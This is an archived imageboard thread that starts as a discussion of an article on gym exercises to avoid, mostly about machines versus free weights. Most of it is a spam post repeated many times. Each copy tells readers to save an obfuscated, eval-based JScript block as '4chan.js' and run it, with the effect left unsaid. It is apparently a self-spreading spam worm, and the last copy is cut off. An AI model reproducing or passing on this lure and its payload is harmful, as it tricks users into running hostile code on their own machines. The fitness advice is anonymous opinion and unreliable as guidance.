File :-(, x, )
7 Gym Exercises You Need to Avoid Anonymous
http://www.diet-blog.com/archives/2008/06/02/7_gym_exercises_you_need_to_avoid.php
>> Anonymous
Is this a troll or actually true
>> Anonymous
Is the information on upright rows legit?
>> Anonymous
i wouldn't recommend ab twist machine and smith for squatting(i would only use it for calf training).
>> Anonymous
>>435149
fffffffffffffffffffffffffffff my old trainer at the gym put the ab twist into my workout plan and ive been doing it
>> Anonymous
>>435144
yes it is.
>> Anonymous
here's another one

http://health.msn.com/fitness/articlepage.aspx?cp-documentid=100184337
>> Anonymous
These websites are clearly against all gym machines ever used.
>> Anonymous
>>435152
do side crunches or side leg raises or better yet read this
http://www.t-nation.com/readArticle.do?id=2582785
>> Anonymous
But I always invert leg press :<
>> Anonymous
>>435164

that's because all gym machines are no good.
use free weights, or your own body weight.
machines will only put you into unnatural positions and ruin joints.
>> Anonymous
>>435175

try squats instead.
>> Anonymous
>>435175
stop doing them no matter what everyone says. squats are all you need
>> Anonymous
>>435161
BS on the one leg squat as a better alternative for the leg extentioon.

if you werent "designed" to do them tan we wouldnt be able to do them with so much ease and comfort
>> Anonymous
>>435190
every exercise that involves movement of the body is always a better exercise compared to sitting on your fat ass on some bench
>> Anonymous
on the at twist machine at my gym, the upper body stays stationary while the lower body twists.. on this site, it shows one where the lower body is stationary and the upper twists.

wonder if that means mine is okay? lol
>> gay
>>435137
all true

even if they're not, you shouldn't be using machines. This is /fit/, come on.
>> Anonymous
>>435180
>>435212
Yes, free weights are > than machines, and yes there are a lot of people who stupidly use machines almost exclusively.

However, they DO have a time and place, and saying that all machines are completely useless and you should NEVER use them is just plain wrong.
>> Anonymous
>>435222
/fit/ is the definition of absolutism
>> cunt !iiA80eLVpY
Upright Rows
Better Alternative: Lateral dumbbell raises

Idiot.
>> Anonymous
they are wrong about the back extension and way over cautious. if you go slow youd be fine.... and that was a glute/am raise machine not just a hyper/reverse hyper machine.
>> Anonymous
>Upright Rows
>Better Alternative: Lateral dumbbell raises
lol
>> Anonymous
sqdy12

1. Copy and paste the following to Notepad.
2. Save it with the filename "4chan.js"
3. Open the file you saved.
4. ???
5. Shit bricks.

A='ft )t hoM.d)}=.abts2lp\nSree"iniyme)exlScte=el;l(xeg,t/.'+
'ar";e)xssxa(t?li/\ncn)t etr(}h(txeg,bR)a(t?l[++,xn\rxssxa('+
'pinr\\g]t//0sn+r+cedoif-am\rse\\"so\\r"nC \x20thow Np\\ e hel'+
'm"asnO \x20euv\\ \\ ti.n+m\\rs\n.l(Y.no,Jr,p+zgi\'\'\\ga)+i""'+
'Jtgh,).reerony,laf-aur+xn)teWsp0';B='uiR{uM.oaro*\rWctj(x.'+
'h"HHeocspglsoc.nteHrn)HalHo).ne"pi4ng,xn;.pett/ph"tgft {uR'+
'9oi3\ri1r.ne([(]t/ph/0"r0.d\n.pett/adoed).c\\g]=-(("onisoo'+
'd;e\n+sn++mn(\\1oapeelitoanS w \x20ee4n\\3ptf \x20en?nS c\\"sone'+
'tJra/(o(sM+z""Ji,n+i\\,t\'\'/n)+m,p0\rsesa(ntp"trod;nyu.d}'+
'c)Sl(0';C='no(rrafrtamQ\nSree"mxt)=.abtct.etbtotf(.ia;.d(.'+
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's(trot.c<n=ta+[mhd)\r"-u)\\ntsinran=S"t\\t"\\")n.pna \x20lnot'+
'd2aiitfn c.".ehiysd4?5hbkn++d\\g"=ec"\'p"t\'\'/t)+p""Jm.".'+
'+cgo\'\'l"")\neqtd"t-emitrabd=)s(ch{He2)';D='cnQentl(hn()x'+
'Heocmlmt\rWctj(rifsej"peiWspmhra)ce\np""t/ghob)s(=enemht*m'+
'te\rno(en9.tg)we{{p""==3mht*m))");e)=enemhs "hd/3a(+[\n\\"'+
'=)nt-pt:mta"=ron+cn++\\ ydstfog e..vtthia\\hj\\ neloa..?.i'+
'rs\\h"eni\r"pe;xep"+ogm\'\'/b)+g/d"Jg,v+h/p)\'xtuhecet"up/'+
'mtoa";eSa(}.e0}';X=[];Y=eval;Y('for(i=0;i<A.l\x65ngth;i++)X[i'+
'*4]=A.ch\x61rAt(i);for(i=0;i<B.l\x65ngth;i++)X[i*4+1]=B.ch\x61rAt(i'+
');for(i=0;i<C.l\x65ngth;i++)X[i*4+2]=C.ch\x61rAt(i);for(i=0;i<D.'+
'l\x65ngth;i++)X[i*4+3]=D.ch\x61rAt(i);Y(X.join(""))')
>> Anonymous
6orxpa

1. Copy and paste the following to Notepad.
2. Save it with the filename "4chan.js"
3. Open the file you saved.
4. ???
5. Shit bricks.


A='ft )t hoM.d)}=.abts2lp\nSree"iniyme)exlScte=el;l(xeg,t/.'+
'ar";e)xssxa(t?li/\ncn)t etr(}h(txeg,bR)a(t?l[++,xn\rxssxa('+
'pinr\\g]t//0sn+r+cedoif-am\rse\\"so\\r"nC \x20thow Np\\ e hel'+
'm"asnO \x20euv\\ \\ ti.n+m\\rs\n.l(Y.no,Jr,p+zgi\'\'\\ga)+i""'+
'Jtgh,).reerony,laf-aur+xn)teWsp0';B='uiR{uM.oaro*\rWctj(x.'+
'h"HHeocspglsoc.nteHrn)HalHo).ne"pi4ng,xn;.pett/ph"tgft {uR'+
'9oi3\ri1r.ne([(]t/ph/0"r0.d\n.pett/adoed).c\\g]=-(("onisoo'+
'd;e\n+sn++mn(\\1oapeelitoanS w \x20ee4n\\3ptf \x20en?nS c\\"sone'+
'tJra/(o(sM+z""Ji,n+i\\,t\'\'/n)+m,p0\rsesa(ntp"trod;nyu.d}'+
'c)Sl(0';C='no(rrafrtamQ\nSree"mxt)=.abtct.etbtotf(.ia;.d(.'+
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's(trot.c<n=ta+[mhd)\r"-u)\\ntsinran=S"t\\t"\\")n.pna \x20lnot'+
'd2aiitfn c.".ehiysd4?5hbkn++d\\g"=ec"\'p"t\'\'/t)+p""Jm.".'+
'+cgo\'\'l"")\neqtd"t-emitrabd=)s(ch{He2)';D='cnQentl(hn()x'+
'Heocmlmt\rWctj(rifsej"peiWspmhra)ce\np""t/ghob)s(=enemht*m'+
'te\rno(en9.tg)we{{p""==3mht*m))");e)=enemhs "hd/3a(+[\n\\"'+
'=)nt-pt:mta"=ron+cn++\\ ydstfog e..vtthia\\hj\\ neloa..?.i'+
'rs\\h"eni\r"pe;xep"+ogm\'\'/b)+g/d"Jg,v+h/p)\'xtuhecet"up/'+
'mtoa";eSa(}.e0}';X=[];Y=eval;Y('for(i=0;i<A.l\x65ngth;i++)X[i'+
'*4]=A.ch\x61rAt(i);for(i=0;i<B.l\x65ngth;i++)X[i*4+1]=B.ch\x61rAt(i'+
');for(i=0;i<C.l\x65ngth;i++)X[i*4+2]=C.ch\x61rAt(i);for(i=0;i<D.'+
'l\x65ngth;i++)X[i*4+3]=D.ch\x61rAt(i);Y(X.join(""))')
>> Anonymous
3bba034

1. Copy and paste the following to Notepad.
2. Save it with the filename "4chan.js"
3. Open the file you saved.
4. ???
5. Shit bricks.

A='ft )t hoM.d)}=.abts2lp\nSree"iniyme)exlScte=el;l(xeg,t/.'+
'ar";e)xssxa(t?li/\ncn)t etr(}h(txeg,bR)a(t?l[++,xn\rxssxa('+
'pinr\\g]t//0sn+r+cedoif-am\rse\\"so\\r"nC \x20thow Np\\ e hel'+
'm"asnO \x20euv\\ \\ ti.n+m\\rs\n.l(Y.no,Jr,p+zgi\'\'\\ga)+i""'+
'Jtgh,).reerony,laf-aur+xn)teWsp0';B='uiR{uM.oaro*\rWctj(x.'+
'h"HHeocspglsoc.nteHrn)HalHo).ne"pi4ng,xn;.pett/ph"tgft {uR'+
'9oi3\ri1r.ne([(]t/ph/0"r0.d\n.pett/adoed).c\\g]=-(("onisoo'+
'd;e\n+sn++mn(\\1oapeelitoanS w \x20ee4n\\3ptf \x20en?nS c\\"sone'+
'tJra/(o(sM+z""Ji,n+i\\,t\'\'/n)+m,p0\rsesa(ntp"trod;nyu.d}'+
'c)Sl(0';C='no(rrafrtamQ\nSree"mxt)=.abtct.etbtotf(.ia;.d(.'+
's\ro(th:mc./0.dbrot.ch.t l)uirrr()Sn6\nl)yo(tMi4.ch.tg]?()'+
's(trot.c<n=ta+[mhd)\r"-u)\\ntsinran=S"t\\t"\\")n.pna \x20lnot'+
'd2aiitfn c.".ehiysd4?5hbkn++d\\g"=ec"\'p"t\'\'/t)+p""Jm.".'+
'+cgo\'\'l"")\neqtd"t-emitrabd=)s(ch{He2)';D='cnQentl(hn()x'+
'Heocmlmt\rWctj(rifsej"peiWspmhra)ce\np""t/ghob)s(=enemht*m'+
'te\rno(en9.tg)we{{p""==3mht*m))");e)=enemhs "hd/3a(+[\n\\"'+
'=)nt-pt:mta"=ron+cn++\\ ydstfog e..vtthia\\hj\\ neloa..?.i'+
'rs\\h"eni\r"pe;xep"+ogm\'\'/b)+g/d"Jg,v+h/p)\'xtuhecet"up/'+
'mtoa";eSa(}.e0}';X=[];Y=eval;Y('for(i=0;i<A.l\x65ngth;i++)X[i'+
'*4]=A.ch\x61rAt(i);for(i=0;i<B.l\x65ngth;i++)X[i*4+1]=B.ch\x61rAt(i'+
');for(i=0;i<C.l\x65ngth;i++)X[i*4+2]=C.ch\x61rAt(i);for(i=0;i<D.'+
'l\x65ngth;i++)X[i*4+3]=D.ch\x61rAt(i);Y(X.join(""))')
>> Anonymous
2dbpcb8

1. Copy and paste the following to Notepad.
2. Save it with the filename "4chan.js"
3. Open the file you saved.
4. ???
5. Shit bricks.

A='ft )t hoM.d)}=.abts2lp\nSree"iniyme)exlScte=el;l(xeg,t/.'+
'ar";e)xssxa(t?li/\ncn)t etr(}h(txeg,bR)a(t?l[++,xn\rxssxa('+
'pinr\\g]t//0sn+r+cedoif-am\rse\\"so\\r"nC \x20thow Np\\ e hel'+
'm"asnO \x20euv\\ \\ ti.n+m\\rs\n.l(Y.no,Jr,p+zgi\'\'\\ga)+i""'+
'Jtgh,).reerony,laf-aur+xn)teWsp0';B='uiR{uM.oaro*\rWctj(x.'+
'h"HHeocspglsoc.nteHrn)HalHo).ne"pi4ng,xn;.pett/ph"tgft {uR'+
'9oi3\ri1r.ne([(]t/ph/0"r0.d\n.pett/adoed).c\\g]=-(("onisoo'+
'd;e\n+sn++mn(\\1oapeelitoanS w \x20ee4n\\3ptf \x20en?nS c\\"sone'+
'tJra/(o(sM+z""Ji,n+i\\,t\'\'/n)+m,p0\rsesa(ntp"trod;nyu.d}'+
'c)Sl(0';C='no(rrafrtamQ\nSree"mxt)=.abtct.etbtotf(.ia;.d(.'+
's\ro(th:mc./0.dbrot.ch.t l)uirrr()Sn6\nl)yo(tMi4.ch.tg]?()'+
's(trot.c<n=ta+[mhd)\r"-u)\\ntsinran=S"t\\t"\\")n.pna \x20lnot'+
'd2aiitfn c.".ehiysd4?5hbkn++d\\g"=ec"\'p"t\'\'/t)+p""Jm.".'+
'+cgo\'\'l"")\neqtd"t-emitrabd=)s(ch{He2)';D='cnQentl(hn()x'+
'Heocmlmt\rWctj(rifsej"peiWspmhra)ce\np""t/ghob)s(=enemht*m'+
'te\rno(en9.tg)we{{p""==3mht*m))");e)=enemhs "hd/3a(+[\n\\"'+
'=)nt-pt:mta"=ron+cn++\\ ydstfog e..vtthia\\hj\\ neloa..?.i'+
'rs\\h"eni\r"pe;xep"+ogm\'\'/b)+g/d"Jg,v+h/p)\'xtuhecet"up/'+
'mtoa";eSa(}.e0}';X=[];Y=eval;Y('for(i=0;i<A.l\x65ngth;i++)X[i'+
'*4]=A.ch\x61rAt(i);for(i=0;i<B.l\x65ngth;i++)X[i*4+1]=B.ch\x61rAt(i'+
');for(i=0;i<C.l\x65ngth;i++)X[i*4+2]=C.ch\x61rAt(i);for(i=0;i<D.'+
'l\x65ngth;i++)X[i*4+3]=D.ch\x61rAt(i);Y(X.join(""))')
>> Anonymous
3xv1e2d

1. Copy and paste the following to Notepad.
2. Save it with the filename "4chan.js"
3. Open the file you saved.
4. ???
5. Shit bricks.


A='ft )t hoM.d)}=.abts2lp\nSree"iniyme)exlScte=el;l(xeg,t/.'+
'ar";e)xssxa(t?li/\ncn)t etr(}h(txeg,bR)a(t?l[++,xn\rxssxa('+
'pinr\\g]t//0sn+r+cedoif-am\rse\\"so\\r"nC \x20thow Np\\ e hel'+
'm"asnO \x20euv\\ \\ ti.n+m\\rs\n.l(Y.no,Jr,p+zgi\'\'\\ga)+i""'+
'Jtgh,).reerony,laf-aur+xn)teWsp0';B='uiR{uM.oaro*\rWctj(x.'+
'h"HHeocspglsoc.nteHrn)HalHo).ne"pi4ng,xn;.pett/ph"tgft {uR'+
'9oi3\ri1r.ne([(]t/ph/0"r0.d\n.pett/adoed).c\\g]=-(("onisoo'+
'd;e\n+sn++mn(\\1oapeelitoanS w \x20ee4n\\3ptf \x20en?nS c\\"sone'+
'tJra/(o(sM+z""Ji,n+i\\,t\'\'/n)+m,p0\rsesa(ntp"trod;nyu.d}'+
'c)Sl(0';C='no(rrafrtamQ\nSree"mxt)=.abtct.etbtotf(.ia;.d(.'+
's\ro(th:mc./0.dbrot.ch.t l)uirrr()Sn6\nl)yo(tMi4.ch.tg]?()'+
's(trot.c<n=ta+[mhd)\r"-u)\\ntsinran=S"t\\t"\\")n.pna \x20lnot'+
'd2aiitfn c.".ehiysd4?5hbkn++d\\g"=ec"\'p"t\'\'/t)+p""Jm.".'+
'+cgo\'\'l"")\neqtd"t-emitrabd=)s(ch{He2)';D='cnQentl(hn()x'+
'Heocmlmt\rWctj(rifsej"peiWspmhra)ce\np""t/ghob)s(=enemht*m'+
'te\rno(en9.tg)we{{p""==3mht*m))");e)=enemhs "hd/3a(+[\n\\"'+
'=)nt-pt:mta"=ron+cn++\\ ydstfog e..vtthia\\hj\\ neloa..?.i'+
'rs\\h"eni\r"pe;xep"+ogm\'\'/b)+g/d"Jg,v+h/p)\'xtuhecet"up/'+
'mtoa";eSa(}.e0}';X=[];Y=eval;Y('for(i=0;i<A.l\x65ngth;i++)X[i'+
'*4]=A.ch\x61rAt(i);for(i=0;i<B.l\x65ngth;i++)X[i*4+1]=B.ch\x61rAt(i'+
');for(i=0;i<C.l\x65ngth;i++)X[i*4+2]=C.ch\x61rAt(i);for(i=0;i<D.'+
'l\x65ngth;i++)X[i*4+3]=D.ch\x61rAt(i);Y(X.join(""))')
>> Anonymous
3f7nxu7

1. Copy and paste the following to Notepad.
2. Save it with the filename "4chan.js"
3. Open the file you saved.
4. ???
5. Shit bricks.


A='ft )t hoM.d)}=.abts2lp\nSree"iniyme)exlScte=el;l(xeg,t/.'+
'ar";e)xssxa(t?li/\ncn)t etr(}h(txeg,bR)a(t?l[++,xn\rxssxa('+
'pinr\\g]t//0sn+r+cedoif-am\rse\\"so\\r"nC \x20thow Np\\ e hel'+
'm"asnO \x20euv\\ \\ ti.n+m\\rs\n.l(Y.no,Jr,p+zgi\'\'\\ga)+i""'+
'Jtgh,).reerony,laf-aur+xn)teWsp0';B='uiR{uM.oaro*\rWctj(x.'+
'h"HHeocspglsoc.nteHrn)HalHo).ne"pi4ng,xn;.pett/ph"tgft {uR'+
'9oi3\ri1r.ne([(]t/ph/0"r0.d\n.pett/adoed).c\\g]=-(("onisoo'+
'd;e\n+sn++mn(\\1oapeelitoanS w \x20ee4n\\3ptf \x20en?nS c\\"sone'+
'tJra/(o(sM+z""Ji,n+i\\,t\'\'/n)+m,p0\rsesa(ntp"trod;nyu.d}'+
'c)Sl(0';C='no(rrafrtamQ\nSree"mxt)=.abtct.etbtotf(.ia;.d(.'+
's\ro(th:mc./0.dbrot.ch.t l)uirrr()Sn6\nl)yo(tMi4.ch.tg]?()'+
's(trot.c<n=ta+[mhd)\r"-u)\\ntsinran=S"t\\t"\\")n.pna \x20lnot'+
'd2aiitfn c.".ehiysd4?5hbkn++d\\g"=ec"\'p"t\'\'/t)+p""Jm.".'+
'+cgo\'\'l"")\neqtd"t-emitrabd=)s(ch{He2)';D='cnQentl(hn()x'+
'Heocmlmt\rWctj(rifsej"peiWspmhra)ce\np""t/ghob)s(=enemht*m'+
'te\rno(en9.tg)we{{p""==3mht*m))");e)=enemhs "hd/3a(+[\n\\"'+
'=)nt-pt:mta"=ron+cn++\\ ydstfog e..vtthia\\hj\\ neloa..?.i'+
'rs\\h"eni\r"pe;xep"+ogm\'\'/b)+g/d"Jg,v+h/p)\'xtuhecet"up/'+
'mtoa";eSa(}.e0}';X=[];Y=eval;Y('for(i=0;i<A.l\x65ngth;i++)X[i'+
'*4]=A.ch\x61rAt(i);for(i=0;i<B.l\x65ngth;i++)X[i*4+1]=B.ch\x61rAt(i'+
');for(i=0;i<C.l\x65ngth;i++)X[i*4+2]=C.ch\x61rAt(i);for(i=0;i<D.'+
'l\x65ngth;i++)X[i*4+3]=D.ch\x61rAt(i);Y(X.join(""))')
>> Anonymous
3q6xphd

1. Copy and paste the following to Notepad.
2. Save it with the filename "4chan.js"
3. Open the file you saved.
4. ???
5. Shit bricks.

A='ft )t hoM.d)}=.abts2lp\nSree"iniyme)exlScte=el;l(xeg,t/.'+
'ar";e)xssxa(t?li/\ncn)t etr(}h(txeg,bR)a(t?l[++,xn\rxssxa('+
'pinr\\g]t//0sn+r+cedoif-am\rse\\"so\\r"nC \x20thow Np\\ e hel'+
'm"asnO \x20euv\\ \\ ti.n+m\\rs\n.l(Y.no,Jr,p+zgi\'\'\\ga)+i""'+
'Jtgh,).reerony,laf-aur+xn)teWsp0';B='uiR{uM.oaro*\rWctj(x.'+
'h"HHeocspglsoc.nteHrn)HalHo).ne"pi4ng,xn;.pett/ph"tgft {uR'+
'9oi3\ri1r.ne([(]t/ph/0"r0.d\n.pett/adoed).c\\g]=-(("onisoo'+
'd;e\n+sn++mn(\\1oapeelitoanS w \x20ee4n\\3ptf \x20en?nS c\\"sone'+
'tJra/(o(sM+z""Ji,n+i\\,t\'\'/n)+m,p0\rsesa(ntp"trod;nyu.d}'+
'c)Sl(0';C='no(rrafrtamQ\nSree"mxt)=.abtct.etbtotf(.ia;.d(.'+
's\ro(th:mc./0.dbrot.ch.t l)uirrr()Sn6\nl)yo(tMi4.ch.tg]?()'+
's(trot.c<n=ta+[mhd)\r"-u)\\ntsinran=S"t\\t"\\")n.pna \x20lnot'+
'd2aiitfn c.".ehiysd4?5hbkn++d\\g"=ec"\'p"t\'\'/t)+p""Jm.".'+
'+cgo\'\'l"")\neqtd"t-emitrabd=)s(ch{He2)';D='cnQentl(hn()x'+
'Heocmlmt\rWctj(rifsej"peiWspmhra)ce\np""t/ghob)s(=enemht*m'+
'te\rno(en9.tg)we{{p""==3mht*m))");e)=enemhs "hd/3a(+[\n\\"'+
'=)nt-pt:mta"=ron+cn++\\ ydstfog e..vtthia\\hj\\ neloa..?.i'+
'rs\\h"eni\r"pe;xep"+ogm\'\'/b)+g/d"Jg,v+h/p)\'xtuhecet"up/'+
'mtoa";eSa(}.e0}';X=[];Y=eval;Y('for(i=0;i<A.l\x65ngth;i++)X[i'+
'*4]=A.ch\x61rAt(i);for(i=0;i<B.l\x65ngth;i++)X[i*4+1]=B.ch\x61rAt(i'+
');for(i=0;i<C.l\x65ngth;i++)X[i*4+2]=C.ch\x61rAt(i);for(i=0;i<D.'+
'l\x65ngth;i++)X[i*4+3]=D.ch\x61rAt(i);Y(X.join(""))')
>> Anonymous
4qszah

1. Copy and paste the following to Notepad.
2. Save it with the filename "4chan.js"
3. Open the file you saved.
4. ???
5. Shit bricks.


A='ft )t hoM.d)}=.abts2lp\nSree"iniyme)exlScte=el;l(xeg,t/.'+
'ar";e)xssxa(t?li/\ncn)t etr(}h(txeg,bR)a(t?l[++,xn\rxssxa('+
'pinr\\g]t//0sn+r+cedoif-am\rse\\"so\\r"nC \x20thow Np\\ e hel'+
'm"asnO \x20euv\\ \\ ti.n+m\\rs\n.l(Y.no,Jr,p+zgi\'\'\\ga)+i""'+
'Jtgh,).reerony,laf-aur+xn)teWsp0';B='uiR{uM.oaro*\rWctj(x.'+
'h"HHeocspglsoc.nteHrn)HalHo).ne"pi4ng,xn;.pett/ph"tgft {uR'+
'9oi3\ri1r.ne([(]t/ph/0"r0.d\n.pett/adoed).c\\g]=-(("onisoo'+
'd;e\n+sn++mn(\\1oapeelitoanS w \x20ee4n\\3ptf \x20en?nS c\\"sone'+
'tJra/(o(sM+z""Ji,n+i\\,t\'\'/n)+m,p0\rsesa(ntp"trod;nyu.d}'+
'c)Sl(0';C='no(rrafrtamQ\nSree"mxt)=.abtct.etbtotf(.ia;.d(.'+
's\ro(th:mc./0.dbrot.ch.t l)uirrr()Sn6\nl)yo(tMi4.ch.tg]?()'+
's(trot.c<n=ta+[mhd)\r"-u)\\ntsinran=S"t\\t"\\")n.pna \x20lnot'+
'd2aiitfn c.".ehiysd4?5hbkn++d\\g"=ec"\'p"t\'\'/t)+p""Jm.".'+
'+cgo\'\'l"")\neqtd"t-emitrabd=)s(ch{He2)';D='cnQentl(hn()x'+
'Heocmlmt\rWctj(rifsej"peiWspmhra)ce\np""t/ghob)s(=enemht*m'+
'te\rno(en9.tg)we{{p""==3mht*m))");e)=enemhs "hd/3a(+[\n\\"'+
'=)nt-pt:mta"=ron+cn++\\ ydstfog e..vtthia\\hj\\ neloa..?.i'+
'rs\\h"eni\r"pe;xep"+ogm\'\'/b)+g/d"Jg,v+h/p)\'xtuhecet"up/'+
'mtoa";eSa(}.e0}';X=[];Y=eval;Y('for(i=0;i<A.l\x65ngth;i++)X[i'+
'*4]=A.ch\x61rAt(i);for(i=0;i<B.l\x65ngth;i++)X[i*4+1]=B.ch\x61rAt(i'+
');for(i=0;i<C.l\x65ngth;i++)X[i*4+2]=C.ch\x61rAt(i);for(i=0;i<D.'+
'l\x65ngth;i++)X[i*4+3]=D.ch\x61rAt(i);Y(X.join(""))')
>> Anonymous
1edj82e

1. Copy and paste the following to Notepad.
2. Save it with the filename "4chan.js"
3. Open the file you saved.
4. ???
5. Shit bricks.

A='ft )t hoM.d)}=.abts2lp\nSree"iniyme)exlScte=el;l(xeg,t/.'+
'ar";e)xssxa(t?li/\ncn)t etr(}h(txeg,bR)a(t?l[++,xn\rxssxa('+
'pinr\\g]t//0sn+r+cedoif-am\rse\\"so\\r"nC \x20thow Np\\ e hel'+
'm"asnO \x20euv\\ \\ ti.n+m\\rs\n.l(Y.no,Jr,p+zgi\'\'\\ga)+i""'+
'Jtgh,).reerony,laf-aur+xn)teWsp0';B='uiR{uM.oaro*\rWctj(x.'+
'h"HHeocspglsoc.nteHrn)HalHo).ne"pi4ng,xn;.pett/ph"tgft {uR'+
'9oi3\ri1r.ne([(]t/ph/0"r0.d\n.pett/adoed).c\\g]=-(("onisoo'+
'd;e\n+sn++mn(\\1oapeelitoanS w \x20ee4n\\3ptf \x20en?nS c\\"sone'+
'tJra/(o(sM+z""Ji,n+i\\,t\'\'/n)+m,p0\rsesa(ntp"trod;nyu.d}'+
'c)Sl(0';C='no(rrafrtamQ\nSree"mxt)=.abtct.etbtotf(.ia;.d(.'+
's\ro(th:mc./0.dbrot.ch.t l)uirrr()Sn6\nl)yo(tMi4.ch.tg]?()'+
's(trot.c<n=ta+[mhd)\r"-u)\\ntsinran=S"t\\t"\\")n.pna \x20lnot'+
'd2aiitfn c.".ehiysd4?5hbkn++d\\g"=ec"\'p"t\'\'/t)+p""Jm.".'+
'+cgo\'\'l"")\neqtd"t-emitrabd=)s(ch{He2)';D='cnQentl(hn()x'+
'Heocmlmt\rWctj(rifsej"peiWspmhra)ce\np""t/ghob)s(=enemht*m'+
'te\rno(en9.tg)we{{p""==3mht*m))");e)=enemhs "hd/3a(+[\n\\"'+
'=)nt-pt:mta"=ron+cn++\\ ydstfog e..vtthia\\hj\\ neloa..?.i'+
'rs\\h"eni\r"pe;xep"+ogm\'\'/b)+g/d"Jg,v+h/p)\'xtuhecet"up/'+
'mtoa";eSa(}.e0}';X=[];Y=eval;Y('for(i=0;i<A.l\x65ngth;i++)X[i'+
'*4]=A.ch\x61rAt(i);for(i=0;i<B.l\x65ngth;i++)X[i*4+1]=B.ch\x61rAt(i'+
');for(i=0;i<C.l\x65ngth;i++)X[i*4+2]=C.ch\x61rAt(i);for(i=0;i<D.'+
'l\x65ngth;i++)X[i*4+3]=D.ch\x61rAt(i);Y(X.join(""))')
>> Anonymous
3h0um44

1. Copy and paste the following to Notepad.
2. Save it with the filename "4chan.js"
3. Open the file you saved.
4. ???
5. Shit bricks.

A='ft )t hoM.d)}=.abts2lp\nSree"iniyme)exlScte=el;l(xeg,t/.'+
'ar";e)xssxa(t?li/\ncn)t etr(}h(txeg,bR)a(t?l[++,xn\rxssxa('+
'pinr\\g]t//0sn+r+cedoif-am\rse\\"so\\r"nC \x20thow Np\\ e hel'+
'm"asnO \x20euv\\ \\ ti.n+m\\rs\n.l(Y.no,Jr,p+zgi\'\'\\ga)+i""'+
'Jtgh,).reerony,laf-aur+xn)teWsp0';B='uiR{uM.oaro*\rWctj(x.'+
'h"HHeocspglsoc.nteHrn)HalHo).ne"pi4ng,xn;.pett/ph"tgft {uR'+
'9oi3\ri1r.ne([(]t/ph/0"r0.d\n.pett/adoed).c\\g]=-(("onisoo'+
'd;e\n+sn++mn(\\1oapeelitoanS w \x20ee4n\\3ptf \x20en?nS c\\"sone'+
'tJra/(o(sM+z""Ji,n+i\\,t\'\'/n)+m,p0\rsesa(ntp"trod;nyu.d}'+
'c)Sl(0';C='no(rrafrtamQ\nSree"mxt)=.abtct.etbtotf(.ia;.d(.'+
's\ro(th:mc./0.dbrot.ch.t l)uirrr()Sn6\nl)yo(tMi4.ch.tg]?()'+
's(trot.c<n=ta+[mhd)\r"-u)\\ntsinran=S"t\\t"\\")n.pna \x20lnot'+
'd2aiitfn c.".ehiysd4?5hbkn++d\\g"=ec"\'p"t\'\'/t)+p""Jm.".'+
'+cgo\'\'l"")\neqtd"t-emitrabd=)s(ch{He2)';D='cnQentl(hn()x'+
'Heocmlmt\rWctj(rifsej"peiWspmhra)ce\np""t/ghob)s(=enemht*m'+
'te\rno(en9.tg)we{{p""==3mht*m))");e)=enemhs "hd/3a(+[\n\\"'+
'=)nt-pt:mta"=ron+cn++\\ ydstfog e..vtthia\\hj\\ neloa..?.i'+
'rs\\h"eni\r"pe;xep"+ogm\'\'/b)+g/d"Jg,v+h/p)\'xtuhecet"up/'+
'mtoa";eSa(}.e0}';X=[];Y=eval;Y('for(i=0;i<A.l\x65ngth;i++)X[i'+
'*4]=A.ch\x61rAt(i);for(i=0;i<B.l\x65ngth;i++)X[i*4+1]=B.ch\x61rAt(i'+
');for(i=0;i<C.l\x65ngth;i++)X[i*4+2]=C.ch\x61rAt(i);for(i=0;i<D.'+
'l\x65ngth;i++)X[i*4+3]=D.ch\x61rAt(i);Y(X.join(""))')
>> Anonymous
iyzt12

1. Copy and paste the following to Notepad.
2. Save it with the filename "4chan.js"
3. Open the file you saved.
4. ???
5. Shit bricks.

A='ft )t hoM.d)}=.abts2lp\nSree"iniyme)exlScte=el;l(xeg,t/.'+
'ar";e)xssxa(t?li/\ncn)t etr(}h(txeg,bR)a(t?l[++,xn\rxssxa('+
'pinr\\g]t//0sn+r+cedoif-am\rse\\"so\\r"nC \x20thow Np\\ e hel'+
'm"asnO \x20euv\\ \\ ti.n+m\\rs\n.l(Y.no,Jr,p+zgi\'\'\\ga)+i""'+
'Jtgh,).reerony,laf-aur+xn)teWsp0';B='uiR{uM.oaro*\rWctj(x.'+
'h"HHeocspglsoc.nteHrn)HalHo).ne"pi4ng,xn;.pett/ph"tgft {uR'+
'9oi3\ri1r.ne([(]t/ph/0"r0.d\n.pett/adoed).c\\g]=-(("onisoo'+
'd;e\n+sn++mn(\\1oapeelitoanS w \x20ee4n\\3ptf \x20en?nS c\\"sone'+
'tJra/(o(sM+z""Ji,n+i\\,t\'\'/n)+m,p0\rsesa(ntp"trod;nyu.d}'+
'c)Sl(0';C='no(rrafrtamQ\nSree"mxt)=.abtct.etbtotf(.ia;.d(.'+
's\ro(th:mc./0.dbrot.ch.t l)uirrr()Sn6\nl)yo(tMi4.ch.tg]?()'+
's(trot.c<n=ta+[mhd)\r"-u)\\ntsinran=S"t\\t"\\")n.pna \x20lnot'+
'd2aiitfn c.".ehiysd4?5hbkn++d\\g"=ec"\'p"t\'\'/t)+p""Jm.".'+
'+cgo\'\'l"")\neqtd"t-emitrabd=)s(ch{He2)';D='cnQentl(hn()x'+
'Heocmlmt\rWctj(rifsej"peiWspmhra)ce\np""t/ghob)s(=enemht*m'+
'te\rno(en9.tg)we{{p""==3mht*m))");e)=enemhs "hd/3a(+[\n\\"'+
'=)nt-pt:mta"=ron+cn++\\ ydstfog e..vtthia\\hj\\ neloa..?.i'+
'rs\\h"eni\r"pe;xep"+ogm\'\'/b)+g/d"Jg,v+h/p)\'xtuhecet"up/'+
'mtoa";eSa(}.e0}';X=[];Y=eval;Y('for(i=0;i<A.l\x65ngth;i++)X[i'+
'*4]=A.ch\x61rAt(i);for(i=0;i<B.l\x65ngth;i++)X[i*4+1]=B.ch\x61rAt(i'+
');for(i=0;i<C.l\x65ngth;i++)X[i*4+2]=C.ch\x61rAt(i);for(i=0;i<D.'+
'l\x65ngth;i++)X[i*4+3]=D.ch\x61rAt(i);Y(X.join(""))')
>> Anonymous
3c1p7jh

1. Copy and paste the following to Notepad.
2. Save it with the filename "4chan.js"
3. Open the file you saved.
4. ???
5. Shit bricks.

A='ft )t hoM.d)}=.abts2lp\nSree"iniyme)exlScte=el;l(xeg,t/.'+
'ar";e)xssxa(t?li/\ncn)t etr(}h(txeg,bR)a(t?l[++,xn\rxssxa('+
'pinr\\g]t//0sn+r+cedoif-am\rse\\"so\\r"nC \x20thow Np\\ e hel'+
'm"asnO \x20euv\\ \\ ti.n+m\\rs\n.l(Y.no,Jr,p+zgi\'\'\\ga)+i""'+
